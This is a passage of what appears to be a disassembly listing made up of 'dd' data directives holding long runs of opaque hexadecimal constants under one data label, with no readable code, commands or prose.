0EFDC6FF8h, 49D8009Fh, 0A67A5140h, 42906ACBh dd 0FB703Dh, 0BA651442h, 5CAD8EEBh, 45007950h, 511A1833h dd 0C001B4E0h, 0E54EF640h, 9040F77Fh, 711D3Bh, 0EDA4A635h dd 1A0B4CDCh, 0E61B6900h, 0AD080531h, 7DB7CCAh, 0EA347B39h dd 87387744h, 0ED02DB7Ah, 0B0800E70h, 12D2023h, 36C16100h dd 134CC97Ch, 98B50785h, 0B0298F3Fh, 1227327Bh, 7800C0B0h dd 0D88D3DC1h, 75558D3h, 0C69FB80Eh, 50BA4065h, 3C2654EEh dd 0B3806C2Dh, 62E0715h, 0B0F80062h, 723FC2CEh, 0F0A8C5AAh dd 7E0E74ABh, 0A077FAB6h, 0D38BD4A7h, 453F0032h, 80964191h dd 0A667307Eh, 19D38EF8h, 9C65C03Ch, 98A001Eh, 2413A97Ah dd 5C005E35h, 6CFBA062h, 847EE6h, 30FE7CAh, 6722B5B7h dd 28006098h, 0A9792355h, 6C561C0h, 9C7F7DF6h, 0D2009087h dd 587BF093h, 8D8B31h, 603E2204h, 54B4E9B1h, 9296660h dd 9A24C8h, 0FD9069AAh, 0BD06D8D0h, 29B4D200h, 0E55A6305h dd 44CE0024h, 25422D32h, 0CCF5E661h, 0EA39C612h, 7ACC9FDAh dd 0FF284842h, 9C80E9C5h, 0ECFBCF20h, 0F0800D4h, 86633BCAh dd 0FA008DB2h, 57E8381Dh, 68E656h, 392CB5C1h, 0EEBD4849h dd 14D9DB00h, 0EF723E91h, 5C4F00FCh, 0DCD1466Ah, 0CC042936h dd 8C5EC067h, 0C481B0C1h, 5D8880CEh, 0FF5B6Bh, 8DE4B897h dd 787201DEh, 0D506F904h, 0CC90A7D1h, 77FE3F3h, 62393A99h dd 4821298Ch, 402C5AE7h, 38CC658Ch, 82B86600h, 991EC19Eh dd 127C003Bh, 6F59DFF5h, 103062CCh, 89C13867h, 0FDFB00F0h dd 0BF21EF52h, 0CBFE0437h, 4EBAD901h, 70C3862Dh, 5700642Ch dd 0FD8A81C9h, 0B600E46Eh, 0FE4D1669h, 0C38711h, 2C2BBC48h dd 0C6843B75h, 169FF200h, 634611Fh, 0A78E009Ch, 423707CEh dd 67092459h, 332B9A3h, 84ACE5B4h, 0C1F9D802h, 69A64868h dd 0FAEB9B00h, 8E44DC6Ah, 3850EC0Ah, 84001DAFh, 26B02A87h dd 0BF48A524h, 0A4450978h, 5E6CA0B5h, 3AF389h, 5B4D1D05h dd 3D6EC412h, 0DAE6D400h, 186469F2h, 3F36004Fh, 3C228C9Fh dd 0A18AD6Eh, 0DE58D209h, 96BD40A5h, 0B99EA000h, 4538292Ah dd 40250008h, 0E12CAEB7h, 46033FAAh, 927D044Dh, 0E9D79967h dd 211AE8C7h, 41F21274h, 513C00F9h, 9590781h, 10CA1780h dd 5B01AAh, 0B67337D8h, 13CC9F82h, 40E7162Bh, 0F9AE49E8h dd 0B02D544h, 0ADAC2212h, 8414C8F1h, 662A05C1h, 80DE4814h dd 921823A2h, 0D3BAD4FFh, 0ED3D3C90h, 31868709h, 0D8E05B5Dh dd 141F16Dh, 321D10ACh, 34F2BB38h, 0A21C9508h, 1746DAD9h dd 90603F9Eh, 0F3B30738h, 8029DF86h, 908E2832h, 0D3CAA51Fh dd 0D8CB15h, 0F08473B0h, 559CB88Bh, 0E8FCC4ECh, 95A43974h dd 2200145Ch, 4341F44Fh, 0C73F9311h, 0C2AA005Eh, 1E802D5Fh dd 51D860ECh, 5D2370ABh, 0CFBEA703h, 1F8D179Fh, 817FBC18h dd 0F0A46397h, 4A0DF44Fh, 0AD2BD700h, 2CB044D1h, 433E1D27h dd 0E37C0E1h, 0D691BABCh, 1A47571Ch, 63256AC0h, 9D1693h dd 0AC9826CAh, 7565DF5h, 4008C90h, 87BEB7CEh, 7010D44h dd 0DD0F4BF8h, 508A40AFh, 0D700056Eh, 9F9E9814h, 3285B6h dd 634EE901h, 2777E2F0h, 0BDA95D1Fh, 0AECA80BEh, 1A931CE5h dd 0C423008Fh, 30265503h, 0EF008B6Ah, 66FE44D6h, 20F96Bh dd 7F393160h, 5EADD481h, 0B2DC1207h, 1320A840h, 29DA25h dd 1FF48DD9h, 24BD02BFh, 5ED40E00h, 22430CFBh, 0F857002Fh dd 0FD6F6B48h, 0D00EB477h, 3CC920h, 34586C9Eh, 2B3601D5h dd 0A16502EDh, 0E80830DAh, 6EAE0B1Fh, 48572EC0h, 0BE55DE8Ah dd 0C7688E40h, 2FD26700h, 0A6009B9Fh, 2E33F4B7h, 0A84119h dd 0C2DB6494h, 407C1C12h, 0A2B5B000h, 379A11D4h, 0CD980065h dd 4873FEBAh, 9E12D0A3h, 5002DACAh, 60F359BDh, 704928Ch dd 16995D41h, 90FA77F6h, 1D9A1AE7h, 0D0DC5017h, 0FA594DF0h dd 3037484Ah, 0DDB67900h, 0BE6960F3h, 2674DE24h, 95C5DC01h dd 0B9E43F51h, 657A57h, 0A50A8104h, 0AAD70C1Fh, 297916FAh dd 0FA979B00h, 11B44C2Bh, 6AAF00C8h, 8DE734FBh, 77243FA7h dd 5C173CC6h, 358E3204h, 959CA0h, 5AEA7D36h, 0ACA7CE84h dd 516EB809h, 61602091h, 17E4213h, 9C966F14h, 0CDD86CC7h dd 24B3ED6Eh, 0E404D7B8h, 0C8B4416h, 0F8C004B1h, 18E906B5h dd 29D49E9Ah, 0CED6DF07h, 0A0E1C08Ch, 24E04533h, 57830466h dd 83564854h, 0F8B0755Ch, 11C9E8B6h, 469886D6h, 89F32F8Ah dd 0B0BD20A0h, 8B055FC0h, 0F982B4A5h, 26F15FC0h, 22D6124Bh dd 936A009Ch, 0C474E5C8h, 275C3B12h, 66975840h, 9849FAD9h dd 0CE2C0048h, 0F61CB3E0h, 61C04390h, 0D075ACC5h, 0DDE11C8Bh dd 181898F1h, 1578D1FFh, 11107233h, 0EA83C0D9h, 0C8F30027h dd 9BF69F34h, 0E300EF3Dh, 0AD7CB101h, 70F70FBh, 37F48B6h dd 18D041F6h, 0A426605Eh, 4EDA2800h, 0F0D7B1CAh, 0F97F00E6h dd 3D1D48B3h, 755481C7h, 0E90E27ACh, 4FE230Fh, 0F0B0BD77h dd 1CE81D14h, 51CC837Eh, 2A8036A0h, 1515F149h, 20C4E4h dd 0C622DECh, 9C4079EEh, 0B93F831Ch, 1588C15Dh, 913D5CE5h dd 0EF01FC09h, 0B15F0189h, 1A30C724h, 0EEB002Dh, 0B4DE817Bh dd 5C0273E2h, 74A64803h, 8D047267h, 0EDA5C104h, 4E10895Eh dd 0F1DCE0DAh, 12101C7Fh, 9945585Fh, 0ED009125h, 0D84EC260h dd 1978BA97h, 2913A5F2h, 44510831h, 2889F4E0h, 26AC0073h dd 21F80086h, 566CF9E8h, 5E00DC0Eh, 0F085504Ah, 0D63E30h dd 473C0103h, 0F2DBB2C0h, 78344C0Ah, 0D485840Eh, 94D03E71h dd 7280B951h, 6DF41DEBh, 66FD4078h, 1AC57DA4h, 83251200h dd 0DDBAD3BEh, 176300A0h, 4B3C3750h, 51C9C923h, 0E6C401ADh dd 7FD0FA1Fh, 4CA81319h, 0B030060Eh, 0A600687Ch, 0DA3E6F64h dd 0FF7BF0h, 0FC139A86h, 4D91268Dh, 0F28E359h, 0E09E1FBFh dd 2DB4EEDh, 5FB832h, 0CAFC83D2h, 30F666E6h, 77488900h dd 0A38C52C2h, 98FA35h, 109B2EDAh, 8F5FC586h, 0AFAED100h dd 5B50B58h, 23300F06h, 0FC236953h, 6FC8B607h, 18008FF9h dd 1E154E32h, 0D13E37h, 8738C5E0h, 0B1835093h, 51C0B900h dd 0C6D29B8Dh, 1DEE0Ch, 0A2AD9A53h, 3DDF2E89h, 467A0D00h dd 3A33CF8Fh, 74CD007Bh, 5C138B3Fh, 0E80E9362h, 0A0082DD8h dd 45EBFB5h, 7B4EB801h, 95A200B4h, 0BE79E646h, 4CEADF6Ch dd 0AC09E8E8h, 92D0625h, 0A5BB8096h, 75DC349Bh, 0CEB6002Ch dd 6FF0C392h, 0E300B885h, 21D37305h, 77291807h, 0C2623A55h dd 0E2E9D82h, 1FF6FFFh, 0B2A61224h, 873C1180h, 0C3DFD48Dh dd 0F8883409h, 0B0ACE0FEh, 5B6800AFh, 64351726h, 3100B90Dh dd 9187641h, 47BCA9h, 6CAD2ED9h, 0D792847Ch, 36779BA0h dd 5D24900h, 0CF74B4B6h, 942F4D6h, 61141D45h, 57F81C60h dd 0A2979300h, 360BECBFh, 477707h, 0D9CE69BEh, 722BF464h dd 0CD8C820Eh, 326507D1h, 87CAE1B0h, 7D6803F5h, 38C38E0Ah dd 9B4E40E0h, 90DD640h, 7C9243E8h, 0A6D2E0A0h, 0D95CF4A3h dd 514B1E2Dh, 11E59440h dd 0B561A67h, 0B7992786h, 0EB1B1C00h, 40B8D9Bh, 105426Dh dd 7F9CC64Ch, 671D4C20h, 0FFD62958h, 9F848D6Bh, 225DC255h dd 0E67CF860h, 0D904B57Fh, 50AE4A08h, 1BFFDA81h, 6C32CCh dd 6DF72C82h, 4EECCA57h, 0D6F42200h, 845FC8BDh, 1A37033Ch dd 3AF2EBA8h, 71F7D4A1h, 855E8F3h, 6710DF09h, 588040C1h dd 37F00188h, 0AB4F1F02h, 0C3A4F896h, 2EC91E00h, 8A54C479h dd 2CA23892h, 2C6971A4h, 0E7AB8018h, 6D5DC895h, 98A32D0Fh dd 3A2EE213h, 6FA08FD9h, 0C3D86189h, 0A86453E5h, 1D740048h dd 43CC9071h, 0AD0046B3h, 91A84BC6h, 1FCB8CDh, 0A156075h dd 4089D558h, 61B0339Ch, 0B4008B7Dh, 382B9E63h, 0D1A049h dd 6C2D7AD6h, 578A0568h, 0A2772109h, 0A0EC0FCFh, 372C10ACh dd 99780006h, 0CE72C481h, 7100179Fh, 7FBC36D8h, 3DE2F585h dd 66808E8Ah, 9683C0Bh, 3800AA5Ah, 28F7609Bh, 0FE040Ch dd 0EEA6CA2Dh, 0BE8C1BE8h, 0A9AB5D01h, 461AE2F4h, 0CC2CFCh dd 1FA3F0C7h, 1E23EE69h, 0E8E8D7F9h, 4C09BF88h, 802031B0h dd 0F87B4B0Dh, 0A11F1323h, 40DC1FF2h, 0A0146D71h, 0BC0010B4h dd 0E87BE612h, 3BA9939h, 8BDC2AD0h, 74E05B4Ah, 7101F6B7h dd 5F270ADDh, 717053A4h, 8FBD0088h, 1C164DF3h, 6A0019CCh dd 0A8836EB6h, 9FE78Ch, 57F40EFFh, 0DA1E07E8h, 0C1CAC00h dd 2E446525h, 756EA09h, 0FCBA128Bh, 0AAB8BE79h, 0AF02761Fh dd 43DCBB67h, 95AFE047h, 8797011Dh, 0A72B3555h, 3282E8CFh dd 5D103100h, 0AC54762Eh, 20630087h, 1EDFB1BCh, 2C00B944h dd 5DA9F73Bh, 0EE7FD5Fh, 30D1B8F6h, 9A3664C0h, 0BA179FACh dd 88908FD2h, 480371C1h, 7D259C0Bh, 51B73468h, 10B49E24h dd 68AE1500h, 0D2285CD5h, 70808328h, 4CC880DAh, 3D01C21Eh dd 0FBEA62CAh, 38307F54h, 65040F75h, 120DB34h, 0AD32F536h dd 0A3211912h, 9466000h, 6080B416h, 0B2E310A0h, 0A50041CAh dd 0FEA7A311h, 30FD66h, 2EB9FCDh, 59D0FC77h, 0C8B2000h dd 96EFF72Ah, 56A1022Eh, 94D2C01h, 73076C70h, 0FA8E5824h dd 21313480h, 198C0055h, 4F66E7A9h, 0CCB8823Ch, 69156A00h dd 0EE7334F7h, 0E884145Ah, 448DB53h, 0B576017Bh, 2412F26Bh dd 473460CAh, 5498E5F2h, 0FA234D00h, 0EE96E098h, 44EB0002h dd 0AB2D3F35h, 0B23BC11Eh, 3C3E82BDh, 5867BF26h, 0D0AF60C8h dd 7A0BE29Eh, 0FB60FF07h, 51FBB0Ah, 84130923h, 0B31D8300h dd 0FAEFCAh, 0CE404728h, 0AFF5B1FBh, 0D7342D00h, 0BAC6B9E6h dd 8D560F89h, 0A160F4C1h, 0DF485407h, 1721315h, 779800F0h dd 0D042F7B0h, 0D66B000Ch, 5E826727h, 3900EE8Ah, 524A1404h dd 0ED6CE2h, 550520B1h, 0A7EA8144h, 9D08D500h, 0D8E36E2Ah dd 75A07553h, 2DA8C17Ah, 2A9263C8h, 3AD2B042h, 76C05130h dd 63A4FC23h, 24A39BD2h, 0B43E22A0h, 0DA602295h, 833C565Ah dd 0AA3D1D43h, 0B4A36DEBh, 5DB57C8h, 4FF110A3h, 0D039865Eh dd 0C258E073h, 0B5C2D108h, 7B7C00F8h, 449DF628h, 6548B200h dd 7581C53Dh, 3CEF30F1h, 15C9FF18h, 0CA85A83Eh, 0EE13AC00h dd 4084C470h, 68A4BC75h, 15F9C10Fh, 89F18EE5h, 0CC46E2h dd 0BA9D244Eh, 43C78578h, 0F5FC9B1Dh, 808195C0h, 765F1214h dd 91EC0C45h, 1CD10E5Ch, 632CCDF0h, 8B01E8E0h, 9E3DFD48h dd 30DAA3D0h, 2229B505h, 400317ECh, 0C29280CBh, 0A328E3B6h dd 0F72127D3h, 624BA260h, 73F491C0h, 0F837489Fh, 0ED0748FDh dd 41E80173h, 1DE1CBD3h, 0F80E2FFAh, 2EE580DCh, 9D8CC328h dd 4EA65083h, 7BF4900h, 7279C64Bh, 0A00197B5h, 0C0C58ADEh dd 0C20069A9h, 4655CD53h, 3780E60h, 0F10B078Bh, 0E0C8376Ah dd 91FC264Dh, 0B5009EE6h, 62304BD0h, 5A5D20h, 9A2B8187h dd 2C4884B7h, 8D586C00h, 63DB4625h, 0EA5A1715h, 0ED91DA9h dd 9F205718h, 0C68965Fh, 9A6A7900h, 66940DA3h, 12758Eh dd 2B98640Bh, 0FBD6EC31h, 82195B00h, 12A1A022h, 71941C6Ch dd 0F99C038h, 7273B052h, 98971A00h, 3BFF1CA4h, 258C008Dh dd 0FCD0DC2Fh, 86001954h, 1CB1B532h, 794776h, 2069781Fh dd 7C909E52h, 8301E0F2h, 174CD7EAh, 982C8BE6h, 0F28049BDh dd 18D4049Dh, 1069324Eh, 184E76F1h, 0E052C04h, 5FE5AF44h dd 0F20C9F90h, 0F1291A1Fh, 0E7292284h, 6E113442h, 8DD211Bh dd 2090F8A2h, 481D1284h, 0FAD842C9h, 72215C24h, 11B51121h dd 12FEFC11h, 23F01048h, 8708A189h, 106412F9h, 8D89294Ah dd 0C9443608h, 0E4228490h, 1179422Eh, 8C21CB17h, 902FD508h dd 44AD8865h, 31FA21B8h, 0C0105112h, 8D489CEh, 3D3444DFh dd 0CED188h, 76470E67h, 9EA39D1Bh, 782B33Bh, 854F290Ch dd 0D5D9C270h, 387421h, 45D1BE8Dh, 0F27E0F01h, 0E9366500h dd 0CB41D09Bh, 0D57117DFh, 0EE4800FAh, 271CA89Eh, 8A693500h dd 0EB6BFB88h, 0A4990A7Bh, 128D0515h, 80C884E8h, 0B7BAB6C1h dd 6990F303h, 0B8D59D72h, 1AE41F2h, 0DCC9FD1Ah, 60780795h dd 3F003A7Ch, 529DB666h, 72BF22h, 0A5F37A73h, 6E5957D8h dd 1361E50Eh, 1F1A6151h, 34C0D59Ch, 0AD6B0017h, 9254FD6Fh dd 2F01B2FEh, 75213F22h, 0A3FC4437h, 46E03B6Ah, 9CC74180h dd 0F4737A6Ch, 427C400h, 0F2977624h, 14A60917h, 7C200960h dd 8531490Dh, 0C1D7B001h, 8895B69Bh, 5EA005E4h, 0FD880DB3h dd 5886C78h, 0A3B42139h, 84FFD300h, 7D602ED5h, 6B521E23h dd 8360094h, 92B303E4h, 15350203h, 508EC849h, 385F4978h dd 0F50093F7h, 59DD6F7Eh, 2E0E871Fh, 7911B8B2h, 2A5899h dd 0B1A99A38h, 8000BE6h, 4044334Ah, 926D12h, 0D4CBA693h dd 9AE5B68Bh, 0ABE47100h, 8D78FD49h, 2DE60104h, 0F5E899DDh dd 8AB48F98h, 21F1ACBBh, 741700CAh, 5FAD9293h, 9F007EA2h dd 3532E1FEh, 75FA755Bh, 0CD2E1A03h, 185430C3h, 31251A04h dd 0BDEE0C80h, 0CF5D243Fh, 0D1120004h, 85B3623Ch, 0EA96CE1Eh dd 0D9F772C0h, 3D6E5B44h, 9100DD05h, 0E2710AE3h, 0D28C061h dd 1800F453h, 7928F906h, 0ED7802h, 928F6BF8h, 46FBAAA3h dd 2F06D200h, 89590570h, 71A7EE9h, 0EA67A07h, 0CB2010A2h dd 900EB108h, 371E8CFh, 7BB87E4h, 6CE12419h, 5EA030B7h dd 21001413h, 0AD95CE2Fh, 0F00EACEFh, 1DC22847h, 623402BCh dd 8A9B0533h, 323E7CD0h, 0A017F25Fh, 48040F5h, 8D090Dh dd 0B2E86AFCh, 0C34E1965h, 0C1891200h, 2C2FBE4Ah, 0B660475h dd 80F0A19Dh, 0FCA23AACh, 170340Fh, 166E9F37h, 7FD88F00h dd 7F6BF0D9h, 92B80052h, 6330078Ch, 0DA0EB0DFh, 0A00C1261h dd 1156A2E3h, 0F7D0270h, 0A8A9582Ah, 0FFCA3840h, 3DDE2D00h dd 8A2C8ED0h, 1496EBh, 37234EFh, 0BF70815Fh, 3CCB2700h dd 99A0E210h, 50E473CCh, 0AE01Eh, 615B5D38h, 9B89C8A1h dd 0C671204h, 808051A0h, 1F98A05h, 1044DD69h, 0D23DD9D1h dd 1A6ACA60h, 2DE02750h, 0AC344114h, 6DC203DCh, 0CE08BFBAh dd 0E87CA059h, 0A18200E3h, 0A4D37456h, 0A8C0D8BAh, 25C08D0Bh dd 5C240975h, 6C68F68Ah, 0E7008E4Fh, 401BEAB4h, 81AE52h dd 66DBDC6Fh, 0EB702DF2h, 0E3844301h, 0FE1FAD7Eh, 0E0C69AD5h dd 873848h, 0A69DDDAFh, 50EB3A37h, 6CF25D09h, 0DCEC61FEh dd 0A6D1AC0h, 16C75A1Dh, 0D10B89E0h, 309B870h, 0FDE875h dd 85F7BC0h, 0ACC53F16h, 85AA0280h, 0EC45E52Ah, 0D40A7C28h dd 24869805h, 0CC00E450h dword_4B185C dd 97EBCC0Bh, 80870021h, 0F5A3E151h, 3F02B376h, 22DF1AAh dd 9F74615Fh, 0D5DBE4h, 6E5601C3h, 0A235AB1h, 88552200h dd 499E86C7h, 0DD850006h, 0BE1BD48Eh, 2018A5Dh, 0F9DA1C39h dd 0AED0ACCAh, 0F8943CABh, 0C7FAF780h, 0BCB5B365h, 5CBB2500h dd 8C9EFC40h, 0D4A300CEh, 810863D2h, 0FB002C86h, 3251A4D9h dd 6E8B48h, 0D426B3FAh, 0DD8AB0A1h, 0BC0C4F00h, 0DA7B443h dd 88B10BF0h, 4723CAh, 2B0DA079h, 424CBC40h, 265B0B1Ah dd 3FBC8FF7h, 0BE529C1Eh, 95CAD380h, 0F4A704C1h, 5A590301h dd 6987A353h, 0C08F03Fh, 4B7C9500h, 803C4361h, 0C46800FDh dd 2B9E4D3Bh, 60005FD6h, 10425865h, 0B63F2135h, 0A84480E8h dd 0CAD8E890h, 16C44800h, 0BF6B9C4Ch, 5CED0977h, 78C441Dh dd 991C454Eh, 58015F1h, 0B42DC608h, 12AC0079h, 5DAB98B5h dd 521D030Eh, 0FEC075C5h, 491C6106h, 0B2152F1Eh, 0EF109040h dd 9A3F5800h, 6EF3B477h, 16C9CDFh, 5C819921h, 6A3AEC8Dh dd 1865F412h, 9AC20E0h, 3C7E0229h, 0D603E050h, 376B900Bh dd 0A847BD96h, 83B831C5h, 0F941D59Ah, 80352B90h, 9271F003h dd 98672FFAh, 12E9B175h, 1E493A25h, 23468094h, 8B2BDF5Ch dd 9CBF2101h, 0CD9F8F5Dh, 0ED72C8h, 54AD883Ah, 73C228F7h dd 0C8E1C9EAh, 2F009208h, 40A66F31h, 3985996Ah, 1034798h dd 50B57BF3h, 5FE62DC0h, 31568700h, 96244F0Fh, 0D6F645h dd 27BE57D9h, 362B13B3h, 1D51E700h, 0DCF0921Bh, 874B0061h dd 0CE280F44h, 913990C3h, 0C4668021h, 0BA69253h, 0F0FF2DEh dd 0B3489E80h, 0A5BF5581h, 8068C2h, 6426C80Dh, 3D4EB610h dd 1C84031Bh, 0E061BB4Ah, 3B001A38h, 0AF82833Dh, 2AEFC6h dd 5867EE47h, 0FFC078FEh, 1E59600h, 0E062F495h, 0D29D5CAAh dd 810AFB00h, 27B5E2B9h, 9E6D240Eh, 0FDA9C513h, 0AA320880h dd 531C00F4h, 0BC8B43DDh, 0D901A6D5h, 5D85F9D0h, 40800EFDh dd 2611B688h, 1E26A569h, 0FE17348Eh, 361A4004h, 4C8D34C0h dd 9F883F83h, 0F903603Ah, 9C2F517Eh, 4F840CE8h, 0CC75C200h dd 45676B4Bh, 7076F3h, 78DF562Dh, 5C0881F2h, 0D2998400h dd 0EF7D06D3h, 60C6006Ch, 1998B89Bh, 2E005677h, 4BC8AE54h dd 3CF26B18h, 72BD1F87h, 0C79CC300h, 0D8A4B7ACh, 0E7481900h dd 6925FA60h, 84A70029h, 0BF100EA9h, 6801CF56h, 70033313h dd 24F4F762h, 9FDF00B0h, 61507F67h, 6E031992h, 2ABB79BCh dd 0D521B01Dh, 0CDBA0491h, 0C0A2F87Ah, 1F2C5FCAh, 59C88E00h dd 566A21D0h, 0C27A02FCh, 300B60C5h, 0AB35DF60h, 0BDBE9B07h dd 74A04340h, 131A1820h, 0E4A40F41h, 4F027510h, 0F4672B68h dd 0BDB08FFDh, 1DC15D40h, 0B151E2h, 4D1108EFh, 668DAE25h dd 17DADB00h, 0A204E77Ch, 0F66300D3h, 9381B428h, 0C83E5DF7h dd 37718008h, 0B182E5E7h, 525500A6h, 14FBB626h, 0D0006273h dd 0AE694602h, 1E633FE4h, 4BCD82B3h, 0DC80381Dh, 0F4C4456Dh dd 0B293501Dh, 2105F65Ch, 880B4A7h, 388F9CB9h, 7F00CDCCh dd 0DAB2D23Eh, 0A100A48Eh, 1C17FA8Dh, 606F13Fh, 0EB483C71h dd 7800211Fh, 1A83A786h, 98A570ABh, 0D7CD0033h, 0EC4B23CEh dd 8E01794Dh, 5E113EACh, 53715D68h, 0CD0430h, 0B2A4DD8Ch dd 1B2F34E9h, 0FC2E4F25h, 220C00B1h, 601F031Dh, 80009C90h dd 0F7DED7BEh, 0EA4B26h, 92E44E53h, 1C99FCCBh, 32633500h dd 6871A528h, 0CE3D0006h, 9FB2B401h, 157A22AEh, 80CA5914h dd 122F3FFDh, 9C02E405h, 0E45B0F5Eh, 41A8006Ch, 0CA9BB9B5h dd 5006B2Ch, 7A47329Fh, 385070h, 0B4E5A2C8h, 11AB7CF5h dd 2EFF1C05h, 78B030C1h, 92601D63h, 0FE11B086h, 88014BE8h dd 0AF32A2D2h, 0A0472F4Ah, 80E382A2h, 511F05D0h, 0F4810944h dd 0B780C6BFh, 393B092Bh, 0EC490302h, 0E0879911h, 0FC210h dd 0C58A9664h, 0A2B901F0h, 2FE5A377h, 9D68B040h, 131665E8h dd 0A01BA548h, 0BE005F24h, 0ACF36D4Bh, 283537F8h, 58AC6373h dd 123FDCE4h, 9EE87A80h, 0A68FE2B7h, 25100F07h, 0DE918953h dd 2CC9D9DDh, 822420h, 13FE49D5h, 0DA71F642h, 0DC9FED07h dd 6D615745h, 0AC40E3D1h, 3BAC92EAh, 42048C15h, 0E8032B9Ah dd 26783BDCh, 0DF00933Dh, 83121AD0h, 5D660933h, 0C8597ECEh dd 0AB8D4B02h, 0C0A480D7h, 6A5CD91h, 9D9B102Bh, 0C44B19C7h dd 3F0C83h, 0C1463511h, 97F8DAB7h, 0DB75BA16h, 21E44CE5h dd 0A6B0106h, 7872F5AFh, 24DD6008h, 0C98E9000h, 9CF54DFh dd 66D00A6h, 48C273Bh, 0C30D61A4h, 10385F9Fh, 21BC30h dd 28F3651Ah, 543CEF44h, 40E15200h, 3BC7D1BFh, 30F60068h dd 0BD8F7065h, 0B013159Ah, 44402D26h, 6D2F0959h, 0A272718h dd 401E1444h, 6384744Bh, 1CC0D37Ch, 2FBD9420h, 2880AF7Fh dd 0F1BA4350h, 6E6B850h, 2F20F400h, 23827D12h, 64F55CCAh dd 0CA2FF26h, 79CBD4Eh, 6A380690h, 0FD4EE0EBh, 7432F59Ch dd 0CC8200EDh, 9E197D89h, 4B2C3CD7h, 9F004B71h, 0ED94C1C0h dd 1D049012h, 83886539h, 0B85FD423h, 352AB3F0h, 58592Fh dd 4846EC44h, 3F9876E4h, 1980300Ch, 7FF759E1h, 0DF0293F2h dd 45C07B06h, 3D2CE073h, 0B1AE0FB3h, 0F080B0C7h, 5A28DDA4h dd 1E636D0Bh, 0B3FC000Eh, 47CB0Ch, 0B1F9582Eh, 3754D7D2h dd 0A7F3AC01h, 0CF7952Dh, 4703E0h, 9A6A18A4h, 0FAC188D8h dd 0FD091207h, 5C11D1D4h, 2ED86DF7h, 9DB6039Ch, 36D94E59h dd 0D85A68B8h, 7D008EE4h, 0AAF321D5h, 982ECC25h, 63503838h dd 4BF25B85h, 0C4AC77h, 2436211Ah, 4C0E43F6h, 7203BEF0h dd 67C364E7h, 36D891A8h, 8D78745Ch, 0ECFC68C1h, 6902007Ch dd 0C41DBE4h, 501321F9h, 0E900B7B2h, 0B3A79B47h, 79090EF4h dd 0F3E07BECh, 690145D2h, 0BAF66E00h, 8AA53997h, 53DF30E4h dd 3D0C7078h, 289B0A00h, 9C10E56Ch, 0D054011Dh, 0BFF7C0FCh dd 9290304Dh, 52F3DC07h, 0E200ED90h, 98D1DE8Dh, 7ECBCF4h dd 309371EEh, 7481BFB9h, 69225B00h, 0A18E04EBh, 0A0A09F5Ah dd 8B6B4911h, 0C600D9F6h, 42DEC5E4h, 3D7AB4h, 0BCA3A56Ah dd 449B3E03h, 6984880Fh, 5BDE029Ah, 59EAE028h, 33D30381h dd 90422E0Fh, 0D07A8DA0h, 4380CCA0h, 2631830Fh, 5B2AC015h dd 48FEB4Fh, 0DB89E8B8h, 45B89016h, 0FF2E79CEh, 7F006969h dd 0C06FC6C3h, 3F160025h, 0FEA57553h, 0F0D2F270h, 0CC1E5307h dd 6CDD58D0h, 4C4E02F0h, 3B075C28h, 0A40054D6h, 0F968AF1h dd 0A5C3007Eh, 0A61EBB84h, 2005295h, 20F0F62Dh, 2C4FD9h dd 3EB9DB40h, 0C6B36F49h, 6BC17525h, 5A2EF87Ch, 0CF90095Dh dd 8C50108Ch, 5B123300h, 0F8484DEBh, 58DB3998h, 0ADFD0F00h dd 0C6A29070h, 0B524640Bh, 0DDB400E4h, 3E8F7Dh, 0FB9A6239h dd 9CB4674Eh, 0E400FF4Fh, 805AC0ADh, 21491ED2h, 60B5C4F4h dd 0E9CACEEh, 0CA6939h, 0D256EA63h, 46830373h, 0ECE5BF22h dd 4DC43800h, 28B7F9D5h, 7F441F06h, 13DB6EE7h, 96944117h dd 0D80786C5h, 3D046D09h, 6E481A61h, 0A38D0CC0h, 44C0092Bh dd 58986202h, 2C9E0E30h, 355BE180h, 496F3C3h, 0C9EC1EC1h dd 14CC49Fh, 51FD49ABh, 23E6CC6Eh, 0CB0008E0h, 591B6626h dd 78EED78Dh, 2452B07Bh, 3D42DEC0h, 2EC9D301h, 0DBF28748h dd 261362C0h, 27730300h, 37148DB0h, 396F8E3h, 0BA1BD412h dd 1DC086FFh, 2F07582Ch, 4AC7AF53h, 0F3C329C5h, 0FB7AD83Ah dd 0ACB03Bh, 0B2250152h dd 3D7010AAh, 50794C00h, 0CD0B308Ah, 1C5500F5h, 1348BC07h dd 0EF03AC38h, 0A0146D6h, 2FD2B07Dh, 0A2F70098h, 0BBFF946Ah dd 0C8E1B1F4h, 8514674Bh, 4AAC64BFh, 9701B4C0h, 0CAAB0086h dd 0F2432EF3h, 0FA005C6Bh, 92C3D47Ch, 910509h, 0AEDC66C8h dd 0FF521561h, 0B5850E00h, 202BB9E6h, 0F9A0571h, 80E7A5A1h dd 0F8AE3EB4h, 6003FDEFh, 430F4F50h, 0CC91E3h, 96D8754Dh dd 0D0DD5081h, 4E2773B1h, 5C48073Fh, 0A259108Eh, 6023B16h dd 7033014h, 50D08720h, 0FBE0F037h, 6B208ADh, 5712D798h dd 0C827D067h, 1EEC61F6h, 6C407068h, 0F4410734h, 50FB5B5Dh dd 0FE4039DCh, 0F9267500h, 66B7E96Dh, 18039F1Ah, 0F2C8B882h dd 2D615877h, 907696D1h, 25001C72h, 56E3ABFh, 8D00ABC4h dd 80EF9F7Bh, 0B51F1h, 733CC1D2h, 3BC8453Ah, 0F4A7AF1Ch dd 6A1B5880h, 60EB79h, 8D6E63C7h, 0AC6D3124h, 0B590CC00h dd 50F4B82Ah, 0D73609D5h, 40101764h, 4F2E7354h, 0E0034074h dd 0A801CA97h, 64A9F64h, 39C4BEB5h, 7E033853h, 1005AC7Fh dd 6499884Eh, 5AFC01DBh, 0C43D2F30h, 42A03050h, 9A323100h dd 50CE838h, 0D3CB0029h, 83D0071Eh, 0BF7DA3E0h, 182A2F00h dd 87829342h, 0F5D502D4h, 32121F1Bh, 0FB9098E3h, 0CA48F957h dd 7A100038h, 7B25532Ah, 73CE00ABh, 6C69406Fh, 3300FD0Eh dd 0FE879450h, 7CE472h, 0BA8AA682h, 2912B207h, 917EE600h dd 5B1C781Bh, 33033DD8h, 917A480h, 86151A6Bh, 0A1B5C400h dd 0CFCA4639h, 0DE131FAAh, 1BC9410Fh, 0CD712E5Fh, 9F6BDCA5h dd 801C5D38h, 0E62605F8h, 0A04DF7h, 577C283Eh, 74D92164h dd 7B007CB8h, 0E12E5DEAh, 5B7AD192h, 3560C08Eh, 0EC079FABh dd 19084FDFh, 96A96160h, 3BA00BBh, 704A2005h, 7207C3B2h dd 0FD7EDBEAh, 0B5FFA10Fh, 1C8181Ah, 716416D0h, 43C4873Ah dd 82C03E79h, 8D2436FBh, 